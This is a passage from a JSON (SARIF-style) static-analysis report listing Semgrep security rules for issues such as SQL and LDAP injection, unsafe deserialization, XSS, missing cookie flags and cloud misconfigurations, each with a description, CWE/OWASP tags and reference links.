[https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/meta_pages.htm](https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/meta_pages.htm)\n","text":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","id":"generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","name":"generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The vpc_config resource inside the eks cluster has not explicitly disabled public endpoint access"},"help":{"markdown":"The vpc_config resource inside the eks cluster has not explicitly disabled public endpoint access\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The vpc_config resource inside the eks cluster has not explicitly disabled public endpoint access"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","id":"terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","name":"terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jboss.security.seam-log-injection.seam-log-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.jboss.security.seam-log-injection.seam-log-injection","id":"java.jboss.security.seam-log-injection.seam-log-injection","name":"java.jboss.security.seam-log-injection.seam-log-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.jboss.security.seam-log-injection.seam-log-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Ensure that the expiration date is set on all keys"},"help":{"markdown":"Ensure that the expiration date is set on all keys\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_key#expiration_date](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_key#expiration_date)\n - [https://docs.microsoft.com/en-us/powershell/module/az.keyvault/update-azkeyvaultkey?view=azps-5.8.0#example-1--modify-a-key-to-enable-it--and-set-the-expiration-date-and-tags](https://docs.microsoft.com/en-us/powershell/module/az.keyvault/update-azkeyvaultkey?view=azps-5.8.0#example-1--modify-a-key-to-enable-it--and-set-the-expiration-date-and-tags)\n","text":"Ensure that the expiration date is set on all keys"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","id":"terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","name":"terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires","properties":{"precision":"very-high","tags":["CWE-262: Not Using Password Aging","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-ensure-key-expires.keyvault-ensure-key-expires"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"help":{"markdown":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","id":"go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","name":"go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","id":"python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","name":"python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS."},"help":{"markdown":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS."},"helpUri":"https://semgrep.dev/r/javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","id":"javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","name":"javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","properties":{"precision":"very-high","tags":["CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","id":"python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","name":"python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string.formatted-sql-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps](https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps)\n - [https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string.formatted-sql-string","id":"java.lang.security.audit.formatted-sql-string.formatted-sql-string","name":"java.lang.security.audit.formatted-sql-string.formatted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.formatted-sql-string.formatted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute."},"help":{"markdown":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/eks_cluster#enabling-control-plane-logging](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/eks_cluster#enabling-control-plane-logging)\n - [https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html](https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html)\n","text":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","id":"terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","name":"terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","LOW CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks."},"help":{"markdown":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files](https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files)\n","text":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","id":"cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","name":"cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","properties":{"precision":"very-high","tags":["CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jdo-sqli.jdo-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jdo-sqli.jdo-sqli","id":"java.spring.security.jdo-sqli.jdo-sqli","name":"java.spring.security.jdo-sqli.jdo-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jdo-sqli.jdo-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69)\n","text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","id":"go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","name":"go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.diesel-taint.diesel-taint","id":"rust.hyper.sql.diesel-taint.diesel-taint","name":"rust.hyper.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-numpy.pickles-in-numpy)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-numpy.pickles-in-numpy","id":"trailofbits.python.pickles-in-numpy.pickles-in-numpy","name":"trailofbits.python.pickles-in-numpy.pickles-in-numpy","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-numpy.pickles-in-numpy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"help":{"markdown":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query)\n - [https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/query-builder.html#security-safely-preventing-sql-injection](https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/query-builder.html#security-safely-preventing-sql-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"helpUri":"https://semgrep.dev/r/php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","id":"php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","name":"php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69)\n","text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","id":"go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","name":"go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data."},"help":{"markdown":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ldap-injection.ldap-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ldap-injection.ldap-injection","id":"java.lang.security.audit.ldap-injection.ldap-injection","name":"java.lang.security.audit.ldap-injection.ldap-injection","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ldap-injection.ldap-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","id":"swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","name":"swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic 